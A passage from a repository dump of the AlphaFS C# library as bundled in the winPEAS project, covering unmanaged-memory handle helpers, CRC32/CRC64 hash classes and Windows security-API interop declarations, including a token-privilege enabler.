destination) { if (null == destination || destination.Length == 0) throw new ArgumentNullException("destination"); var length = destination.Length; if (length > destination.Length) throw new ArgumentException(Resources.Destination_Buffer_Not_Large_Enough, "destination"); if (length > Capacity) throw new ArgumentOutOfRangeException("destination", Resources.Source_OffsetAndLength_Outside_Bounds); Marshal.Copy(new IntPtr(handle.ToInt64() + sourceOffset), destination, 0, length); } /// Copies data from an unmanaged memory pointer to a managed 8-bit unsigned integer array. /// The array to copy to. /// The zero-based index in the destination array where copying should start. /// The number of array elements to copy. public void CopyTo(byte[] destination, int destinationOffset, int length) { if (null == destination) throw new ArgumentNullException("destination"); if (destinationOffset < 0) throw new ArgumentOutOfRangeException("destinationOffset", Resources.Negative_Destination_Offset); if (length < 0) throw new ArgumentOutOfRangeException("length", Resources.Negative_Length); if (destinationOffset + length > destination.Length) throw new ArgumentException(Resources.Destination_Buffer_Not_Large_Enough, "length"); if (length > Capacity) throw new ArgumentOutOfRangeException("length", Resources.Source_OffsetAndLength_Outside_Bounds); Marshal.Copy(handle, destination, destinationOffset, length); } /// Copies data from this unmanaged memory pointer to a managed 8-bit unsigned integer array. /// The offset in the buffer to start copying from. /// The array to copy to. /// The zero-based index in the destination array where copying should start. /// The number of array elements to copy. public void CopyTo(int sourceOffset, byte[] destination, int destinationOffset, int length) { if (null == destination) throw new ArgumentNullException("destination"); if (destinationOffset < 0) throw new ArgumentOutOfRangeException("destinationOffset", Resources.Negative_Destination_Offset); if (length < 0) throw new ArgumentOutOfRangeException("length", Resources.Negative_Length); if (destinationOffset + length > destination.Length) throw new ArgumentException(Resources.Destination_Buffer_Not_Large_Enough, "length"); if (length > Capacity) throw new ArgumentOutOfRangeException("length", Resources.Source_OffsetAndLength_Outside_Bounds); Marshal.Copy(new IntPtr(handle.ToInt64() + sourceOffset), destination, destinationOffset, length); } public byte[] ToByteArray(int startIndex, int length) { if (IsInvalid) return null; var arr = new byte[length]; Marshal.Copy(handle, arr, startIndex, length); return arr; } #region Write public void WriteInt16(int offset, short value) { Marshal.WriteInt16(handle, offset, value); } public void WriteInt16(int offset, char value) { Marshal.WriteInt16(handle, offset, value); } public void WriteInt16(char value) { Marshal.WriteInt16(handle, value); } public void WriteInt16(short value) { Marshal.WriteInt16(handle, value); } public void WriteInt32(int offset, short value) { Marshal.WriteInt32(handle, offset, value); } public void WriteInt32(int value) { Marshal.WriteInt32(handle, value); } public void WriteInt64(int offset, long value) { Marshal.WriteInt64(handle, offset, value); } public void WriteInt64(long value) { Marshal.WriteInt64(handle, value); } public void WriteByte(int offset, byte value) { Marshal.WriteByte(handle, offset, value); } public void WriteByte(byte value) { Marshal.WriteByte(handle, value); } public void WriteIntPtr(int offset, IntPtr value) { Marshal.WriteIntPtr(handle, offset, value); } public void WriteIntPtr(IntPtr value) { Marshal.WriteIntPtr(handle, value); } #endregion // Write #region Read public byte ReadByte() { return Marshal.ReadByte(handle); } public byte ReadByte(int offset) { return Marshal.ReadByte(handle, offset); } public short ReadInt16() { return Marshal.ReadInt16(handle); } public short ReadInt16(int offset) { return Marshal.ReadInt16(handle, offset); } public int ReadInt32() { return Marshal.ReadInt32(handle); } public int ReadInt32(int offset) { return Marshal.ReadInt32(handle, offset); } public long ReadInt64() { return Marshal.ReadInt64(handle); } public long ReadInt64(int offset) { return Marshal.ReadInt64(handle, offset); } public IntPtr ReadIntPtr() { return Marshal.ReadIntPtr(handle); } public IntPtr ReadIntPtr(int offset) { return Marshal.ReadIntPtr(handle, offset); } #endregion // Read /// Marshals data from a managed object to an unmanaged block of memory. public void StructureToPtr(object structure, bool deleteOld) { Marshal.StructureToPtr(structure, handle, deleteOld); } /// Marshals data from an unmanaged block of memory to a newly allocated managed object of the specified type. /// A managed object containing the data pointed to by the ptr parameter. public T PtrToStructure(int offset) { return (T) Marshal.PtrToStructure(new IntPtr(handle.ToInt64() + offset), typeof (T)); } /// Allocates a managed System.String and copies a specified number of characters from an unmanaged ANSI string into it. /// A managed string that holds a copy of the unmanaged string if the value of the ptr parameter is not null; otherwise, this method returns null. public string PtrToStringAnsi(int offset) { return Marshal.PtrToStringAnsi(new IntPtr(handle.ToInt64() + offset)); } /// Allocates a managed System.String and copies all characters up to the first null character from an unmanaged Unicode string into it. /// A managed string that holds a copy of the unmanaged string if the value of the ptr parameter is not null; otherwise, this method returns null. public string PtrToStringUni() { return Marshal.PtrToStringUni(handle); } /// Allocates a managed System.String and copies a specified number of characters from an unmanaged Unicode string into it. /// A managed string that holds a copy of the unmanaged string if the value of the ptr parameter is not null; otherwise, this method returns null. public string PtrToStringUni(int offset, int length) { return Marshal.PtrToStringUni(new IntPtr(handle.ToInt64() + offset), length); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeSetupDiClassDevsExHandle.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System.Security; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Represents a wrapper class for a handle used by the SetupDiGetClassDevs/SetupDiDestroyDeviceInfoList Win32 API functions. [SecurityCritical] public sealed class SafeSetupDiClassDevsExHandle : SafeHandleZeroOrMinusOneIsInvalid { /// Initializes a new instance of the class. public SafeSetupDiClassDevsExHandle() : base(true) { } /// When overridden in a derived class, executes the code required to free the handle. /// /// true if the handle is released successfully; otherwise, in the event of a catastrophic failure, /// false. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant. /// protected override bool ReleaseHandle() { return SetupDiDestroyDeviceInfoList(handle); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeTokenHandle.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; using Alphaleonis.Win32.Filesystem; using Microsoft.Win32.SafeHandles; namespace Alphaleonis.Win32 { /// Represents a wrapper class for a handle used by the Token Win32 API functions. [SecurityCritical] public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid { /// Initializes a new instance of the class. public SafeTokenHandle() : base(true) { } /// Initializes a new instance of the class. /// The handle. /// true [owns handle]. public SafeTokenHandle(IntPtr handle, bool callerHandle) : base(callerHandle) { SetHandle(handle); } /// When overridden in a derived class, executes the code required to free the handle. /// true if the handle is released successfully; otherwise, in the event of a catastrophic failure, false. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant. protected override bool ReleaseHandle() { return NativeMethods.CloseHandle(handle); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/CRC/Crc32.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * * Copyright (c) Damien Guard. All rights reserved. * AlphaFS has written permission from the author to include the CRC code. */ using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.Security.Cryptography; namespace Alphaleonis.Win32.Security { /// Implements a 32-bit CRC hash algorithm compatible with Zip etc. /// /// Crc32 should only be used for backward compatibility with older file formats and algorithms. /// It is not secure enough for new applications. If you need to call multiple times for the same data /// either use the HashAlgorithm interface or remember that the result of one Compute call needs to be ~ (XOR) /// before being passed in as the seed for the next Compute call. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Crc")] internal sealed class Crc32 : HashAlgorithm { private const uint DefaultPolynomial = 0xedb88320u; private const uint DefaultSeed = 0xffffffffu; private uint m_hash; private readonly uint m_seed; private readonly uint[] m_table; private static uint[] s_defaultTable; /// Initializes a new instance of Crc32. public Crc32() : this(DefaultPolynomial, DefaultSeed) { } /// Initializes a new instance of Crc32. /// The polynomial. /// The seed. private Crc32(uint polynomial, uint seed) { m_table = InitializeTable(polynomial); m_seed = seed; m_hash = seed; } /// Initializes an implementation of the class. public override void Initialize() { m_hash = m_seed; } /// When overridden in a derived class, routes data written to the object into the hash algorithm for computing the hash. /// The input to compute the hash code for.. /// The offset into the byte array from which to begin using data. /// The number of bytes in the byte array to use as data. protected override void HashCore(byte[] array, int ibStart, int cbSize) { m_hash = CalculateHash(m_table, m_hash, array, ibStart, cbSize); } /// Finalizes the hash computation after the last data is processed by the cryptographic stream object. /// This method finalizes any partial computation and returns the correct hash value for the data stream. protected override byte[] HashFinal() { var hashBuffer = UInt32ToBigEndianBytes(~m_hash); HashValue = hashBuffer; return hashBuffer; } /// Gets the size, in bits, of the computed hash code. /// The size, in bits, of the computed hash code. public override int HashSize { get { return 32; } } /// Initializes the table. /// The table. /// The polynomial. private static uint[] InitializeTable(uint polynomial) { if (polynomial == DefaultPolynomial && s_defaultTable != null) return s_defaultTable; var createTable = new uint[256]; for (var i = 0; i < 256; i++) { var entry = (uint) i; for (var j = 0; j < 8; j++) entry = (entry & 1) == 1 ? (entry >> 1) ^ polynomial : entry >> 1; createTable[i] = entry; } if (polynomial == DefaultPolynomial) s_defaultTable = createTable; return createTable; } /// Calculates the hash. /// The calculated hash. /// The table. /// The seed. /// The buffer. /// The start. /// The size. private static uint CalculateHash(uint[] table, uint seed, IList buffer, int start, int size) { var hash = seed; for (var i = start; i < start + size; i++) hash = (hash >> 8) ^ table[buffer[i] ^ hash & 0xff]; return hash; } /// Int 32 to big endian bytes. /// A byte[]. /// The second uint 3. private static byte[] UInt32ToBigEndianBytes(uint uint32) { var result = BitConverter.GetBytes(uint32); if (BitConverter.IsLittleEndian) Array.Reverse(result); return result; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/CRC/Crc64.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * * Copyright (c) Damien Guard. All rights reserved. * AlphaFS has written permission from the author to include the CRC code. */ using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.Security.Cryptography; namespace Alphaleonis.Win32.Security { /// Implements an ISO-3309 compliant 64-bit CRC hash algorithm. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Crc")] internal class Crc64 : HashAlgorithm { private const ulong Iso3309Polynomial = 0xD800000000000000; private const ulong DefaultSeed = 0x0; private ulong m_hash; private readonly ulong m_seed; private readonly ulong[] m_table; private static ulong[] s_defaultTable; /// Initializes a new instance of public Crc64() : this(Iso3309Polynomial, DefaultSeed) { } /// Initializes a new instance of . /// The polynomial. /// The seed. private Crc64(ulong polynomial, ulong seed) { m_table = InitializeTable(polynomial); m_seed = seed; m_hash = seed; } /// Initializes an implementation of the class. public override void Initialize() { m_hash = m_seed; } /// When overridden in a derived class, routes data written to the object into the hash algorithm for computing the hash. /// The input to compute the hash code for.. /// The offset into the byte array from which to begin using data. /// The number of bytes in the byte array to use as data. protected override void HashCore(byte[] array, int ibStart, int cbSize) { m_hash = CalculateHash(m_hash, m_table, array, ibStart, cbSize); } /// Finalizes the hash computation after the last data is processed by the cryptographic stream object. /// This method finalizes any partial computation and returns the correct hash value for the data stream. protected override byte[] HashFinal() { var hashBuffer = UInt64ToBigEndianBytes(m_hash); HashValue = hashBuffer; return hashBuffer; } /// Gets the size, in bits, of the computed hash code. /// The size, in bits, of the computed hash code. public override int HashSize { get { return 64; } } /// Initializes the table. /// The table. /// The polynomial. private static ulong[] InitializeTable(ulong polynomial) { if (polynomial == Iso3309Polynomial && s_defaultTable != null) return s_defaultTable; var createTable = CreateTable(polynomial); if (polynomial == Iso3309Polynomial) s_defaultTable = createTable; return createTable; } /// Creates a table. /// A new array of ulong. /// The polynomial. private static ulong[] CreateTable(ulong polynomial) { var createTable = new ulong[256]; for (var i = 0; i < 256; ++i) { var entry = (ulong)i; for (var j = 0; j < 8; ++j) entry = (entry & 1) == 1 ? (entry >> 1) ^ polynomial : entry >> 1; createTable[i] = entry; } return createTable; } /// Calculates the hash. /// The calculated hash. /// The seed. /// The table. /// The buffer. /// The start. /// The size. private static ulong CalculateHash(ulong seed, ulong[] table, IList buffer, int start, int size) { var hash = seed; for (var i = start; i < start + size; i++) unchecked { hash = (hash >> 8) ^ table[(buffer[i] ^ hash) & 0xff]; } return hash; } /// Int 64 to big endian bytes. /// A byte[]. /// The value. private static byte[] UInt64ToBigEndianBytes(ulong value) { var result = BitConverter.GetBytes(value); if (BitConverter.IsLittleEndian) Array.Reverse(result); return result; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/CRC/HashType.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; namespace Alphaleonis.Win32.Security { /// Enum containing the supported hash types. public enum HashType { /// CRC-32 (Cyclic Redundancy Check) [SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "CRC")] CRC32, /// CRC-64 ISO-3309 compliant. [SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "CRC")] [SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "ISO")] CRC64ISO3309, /// MD5 (Message digest) MD5, /// RIPEMD-160 is a 160-bit cryptographic hash function. It is intended for use as a replacement for the 128-bit hash functions MD4, MD5, and RIPEMD. [SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "RIPEMD")] RIPEMD160, /// SHA-1 (Secure Hash Algorithm) [SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "SHA")] SHA1, /// SHA-256 (Secure Hash Algorithm) [SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "SHA")] SHA256, /// SHA-384 (Secure Hash Algorithm) [SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "SHA")] SHA384, /// SHA-512 (Secure Hash Algorithm) [SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "SHA")] SHA512 } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/InternalPrivilegeEnabler.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; using System.Security.Principal; namespace Alphaleonis.Win32.Security { /// /// This object is used to enable a specific privilege for the currently running process during its lifetime. /// It should be disposed as soon as the elevated privilege is no longer needed. /// For more information see the documentation on AdjustTokenPrivileges on MSDN. /// internal sealed class InternalPrivilegeEnabler : IDisposable { /// Initializes a new instance of the class and enabling the specified privilege for the currently running process. /// The name of the privilege. [SuppressMessage("Microsoft.Security", "CA2122:DoNotIndirectlyExposeMethodsWithLinkDemands")] [SecurityCritical] public InternalPrivilegeEnabler(Privilege privilegeName) { if (null == privilegeName) throw new ArgumentNullException("privilegeName"); EnabledPrivilege = privilegeName; AdjustPrivilege(true); } /// /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. /// In this case the privilege previously enabled will be disabled. /// public void Dispose() { try { if (null != EnabledPrivilege) AdjustPrivilege(false); } finally { EnabledPrivilege = null; } } public Privilege EnabledPrivilege { get; private set; } /// Adjusts the privilege. /// true the privilege will be enabled, otherwise disabled. [SecurityCritical] private void AdjustPrivilege(bool enable) { using (var currentIdentity = WindowsIdentity.GetCurrent(TokenAccessLevels.Query | TokenAccessLevels.AdjustPrivileges)) { uint length; var hToken = currentIdentity.Token; var mOldPrivilege = new TOKEN_PRIVILEGES(); var newPrivilege = new TOKEN_PRIVILEGES { PrivilegeCount = 1, Luid = Filesystem.NativeMethods.LongToLuid(EnabledPrivilege.LookupLuid()), // 2 = SePrivilegeEnabled; Attributes = (uint) (enable ? 2 : 0) }; var success = NativeMethods.AdjustTokenPrivileges(hToken, false, ref newPrivilege, (uint) Marshal.SizeOf(mOldPrivilege), out mOldPrivilege, out length); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError); // If no privilege was changed, we don't want to reset it. if (mOldPrivilege.PrivilegeCount == 0) EnabledPrivilege = null; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.AdjustTokenPrivileges.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The AdjustTokenPrivileges function enables or disables privileges in the specified access token. Enabling or disabling privileges in an access token requires TOKEN_ADJUST_PRIVILEGES access. /// /// If the function succeeds, the return value is nonzero. /// To determine whether the function adjusted all of the specified privileges, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool AdjustTokenPrivileges(IntPtr tokenHandle, [MarshalAs(UnmanagedType.Bool)] bool disableAllPrivileges, ref TOKEN_PRIVILEGES newState, uint bufferLength, out TOKEN_PRIVILEGES previousState, out uint returnLength); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.Constants.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// Combines DELETE, READ_CONTROL, WRITE_DAC, and WRITE_OWNER access. public const uint STANDARD_RIGHTS_REQUIRED = 983040; /// The right to read the information in the object's security descriptor, not including the information in the system access control list (SACL). public const uint STANDARD_RIGHTS_READ = 131072; } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetNamedSecurityInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The GetNamedSecurityInfo function retrieves a copy of the security descriptor for an object specified by name. ///   /// /// If the function succeeds, the return value is ERROR_SUCCESS. /// If the function fails, the return value is a nonzero error code defined in WinError.h. /// ///   /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetNamedSecurityInfoW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint GetNamedSecurityInfo([MarshalAs(UnmanagedType.LPWStr)] string pObjectName, SE_OBJECT_TYPE objectType, SECURITY_INFORMATION securityInfo, out IntPtr pSidOwner, out IntPtr pSidGroup, out IntPtr pDacl, out IntPtr pSacl, out SafeGlobalMemoryBufferHandle pSecurityDescriptor); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetSecurityDescriptorControl.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The GetSecurityDescriptorControl function retrieves a security descriptor control and revision information. /// /// If the function succeeds, the function returns nonzero. /// If the function fails, it returns zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop 